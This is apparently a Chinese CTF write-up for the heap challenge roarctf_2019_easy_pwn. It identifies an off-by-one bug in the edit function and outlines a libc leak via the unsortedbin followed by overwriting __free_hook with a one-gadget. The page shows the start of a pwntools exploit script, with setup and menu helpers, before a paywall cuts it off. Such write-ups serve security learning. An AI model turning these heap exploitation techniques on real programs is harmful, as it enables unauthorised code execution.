查看程序保护机制

题目分析
add函数

创建chunk,最多创建15个,不能大于4096字节,函数没有问题
edit函数


edit函数中有个问题,就是编辑时输入的size减去添加时的size时的值为10时,可以多输入一个字节,纯在off-by-one漏洞。
free函数

没有问题,free之后都置空了。
show函数

这里会打印出chunk的内容,输出的长度为之前创建chunk时的size大小。
思路
利用off-by-one漏洞泄露出libc的地址,然后改__free_hook为one-gadget
解题
先把前面的内容写好
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./roarctf_2019_easy_pwn"
#io = remote("node4.buuoj.cn",28851)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")
def add(size):
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"size: ")
io.sendline(str(size))
def edit(idx,size,data):
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"index: ")
io.sendline(str(idx))
io.recvuntil(b"size: ")
io.sendline(str(size))
io.recvuntil(b"content: ")
io.send(data)
def free(idx):
io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"index: ")
io.sendline(str(idx))
def show(idx):
io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"index: ")
io.sendline(str

文章描述了一个针对特定程序的漏洞利用过程,主要涉及off-by-one漏洞,通过编辑chunk大小导致内存布局错误。攻击者首先创建并编辑chunk,利用漏洞改变chunk的size,然后通过free和add操作操纵unsortedbin,泄露libc地址。接着,攻击者修改__free_hook为one-gadget地址,最终通过精心构造的payload实现代码执行,达到控制程序的目的。
最低0.47元/天 解锁文章
2769

被折叠的 条评论
为什么被折叠?



